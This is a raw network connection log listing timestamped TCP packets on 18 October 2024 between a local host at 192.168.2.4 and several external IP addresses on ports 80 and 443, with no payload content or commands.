Oct 18, 2024 15:04:28.179579973 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179580927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179594040 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179595947 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179606915 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179614067 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179620981 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179631948 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179637909 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179644108 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179657936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179667950 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179676056 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179680109 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179692984 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179702997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179703951 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179716110 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179722071 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179743052 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179764986 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.179946899 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179959059 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179970026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179982901 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179994106 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.179995060 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180005074 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180016994 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180021048 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180028915 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180032969 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180048943 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180059910 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180084944 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180166006 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180179119 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180191040 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180202007 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180212975 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180213928 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180223942 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180223942 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180237055 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180248976 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180253983 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180262089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180274010 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180279970 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180286884 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180299044 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180309057 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180336952 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180372953 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180383921 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180394888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180407047 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180418968 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180424929 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180429935 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180437088 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180444956 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180466890 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180484056 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180501938 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180512905 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180522919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180535078 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180545092 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180550098 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180557013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180557966 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180592060 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180604935 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180722952 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180735111 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180746078 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180757999 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180768967 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180771112 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180778980 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180790901 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180798054 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180803061 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180814981 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180819988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180829048 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180831909 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180852890 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180881023 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180918932 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180931091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180941105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180953979 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180965900 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180967093 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180979013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.180989981 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.180991888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181004047 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.181005001 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181019068 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181030035 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.181058884 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.181339025 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181349993 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181359053 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181371927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181381941 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181387901 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.181395054 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181401014 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.181411028 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181421995 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.181423903 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.181446075 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.181469917 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.182091951 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.182131052 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.182136059 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.182143927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.182163000 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.182179928 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.182209969 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.182221889 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.182235003 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.182250023 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.182271957 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210361004 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210372925 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210386992 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210413933 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210444927 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210454941 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210465908 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210473061 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210478067 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210489988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210563898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210576057 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210587978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210598946 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210611105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210616112 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210623980 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210640907 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210669041 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210707903 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210717916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210728884 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210740089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210748911 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210757971 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210791111 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210913897 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210927010 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210941076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:28.210962057 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.210995913 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:28.503314972 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.503341913 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.503375053 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.503377914 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.503408909 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.503434896 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.503448963 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.503467083 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.503467083 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.503467083 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.503493071 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.518323898 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.518352985 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.518389940 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.518400908 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.518433094 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.518454075 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.531904936 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.531956911 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.531964064 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.531975985 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.532001019 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.532038927 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.532211065 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:28.532222986 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:28.535841942 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:28.535876989 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:28.535938978 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:28.536587000 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:28.536598921 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.157655001 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.157752991 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.158942938 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.158950090 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.159183025 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.161243916 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.161262035 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.161309004 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.292628050 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.292681932 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.292725086 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.292757034 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.292782068 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.292795897 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.292809010 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.292880058 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.293857098 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.293940067 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.293951988 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.293978930 CEST	49901	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.293983936 CEST	443	49901	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.451375008 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.451402903 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:29.451464891 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.451735973 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:29.451751947 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.062959909 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.063051939 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.206762075 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.206790924 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.207128048 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.214814901 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.214843035 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.214895964 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.464277029 CEST	49878	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:30.464580059 CEST	49913	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:30.470980883 CEST	80	49878	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:30.471045017 CEST	49878	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:30.471277952 CEST	80	49913	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:30.471343040 CEST	49913	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:30.471432924 CEST	49913	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:30.477691889 CEST	80	49913	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:30.799221992 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.799349070 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.799462080 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.799529076 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.799550056 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.799590111 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.799597025 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.799717903 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.799793959 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.799807072 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.799814939 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.799859047 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.799879074 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.800021887 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.800071001 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.800077915 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.854408026 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.916282892 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.916347027 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.916377068 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.916426897 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.916449070 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.916480064 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.916495085 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.916496038 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.916579962 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.916650057 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.916666031 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:30.916678905 CEST	49907	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:30.916685104 CEST	443	49907	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:31.044795036 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:31.044833899 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:31.044920921 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:31.045228004 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:31.045247078 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:31.386405945 CEST	80	49913	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:31.386471987 CEST	49913	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:31.581463099 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:31.582218885 CEST	49920	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:31.587044954 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:31.587094069 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:31.587188959 CEST	80	49920	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:31.587246895 CEST	49920	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:31.590351105 CEST	49920	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:31.595201015 CEST	80	49920	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:31.670918941 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:31.671030998 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:31.676759005 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:31.676780939 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:31.677027941 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:31.678159952 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:31.678369999 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:31.678409100 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:31.678488970 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:31.678495884 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:32.498631954 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:32.498982906 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:32.499095917 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:32.499449968 CEST	49916	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:32.499492884 CEST	443	49916	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:32.515336990 CEST	80	49920	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:32.517812967 CEST	49920	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:32.944514990 CEST	49929	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:32.944545031 CEST	443	49929	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:32.944600105 CEST	49929	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:32.944905043 CEST	49929	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:32.944919109 CEST	443	49929	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:33.576189041 CEST	443	49929	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:33.576252937 CEST	49929	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:33.577683926 CEST	49929	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:33.577688932 CEST	443	49929	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:33.578017950 CEST	443	49929	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:33.579442024 CEST	49929	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:33.579613924 CEST	49929	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:33.579653025 CEST	443	49929	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:34.178122997 CEST	443	49929	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:34.178242922 CEST	443	49929	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:34.178293943 CEST	49929	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:34.196327925 CEST	49929	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:34.196346998 CEST	443	49929	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:35.493324995 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:35.493343115 CEST	443	49942	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:35.493526936 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:35.493880987 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:35.493892908 CEST	443	49942	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:35.752208948 CEST	49913	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:35.752579927 CEST	49948	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:35.757587910 CEST	80	49913	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:35.757651091 CEST	49913	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:35.757651091 CEST	80	49948	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:35.757741928 CEST	49948	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:35.757899046 CEST	49948	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:35.763063908 CEST	80	49948	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:35.916564941 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:35.916589022 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:35.916661978 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:35.918364048 CEST	49949	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:35.918376923 CEST	443	49949	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:36.125976086 CEST	443	49942	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:36.126065969 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:36.127351999 CEST	49942	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:36.127360106 CEST	443	49942	104.21.53.8	192.168.2.4
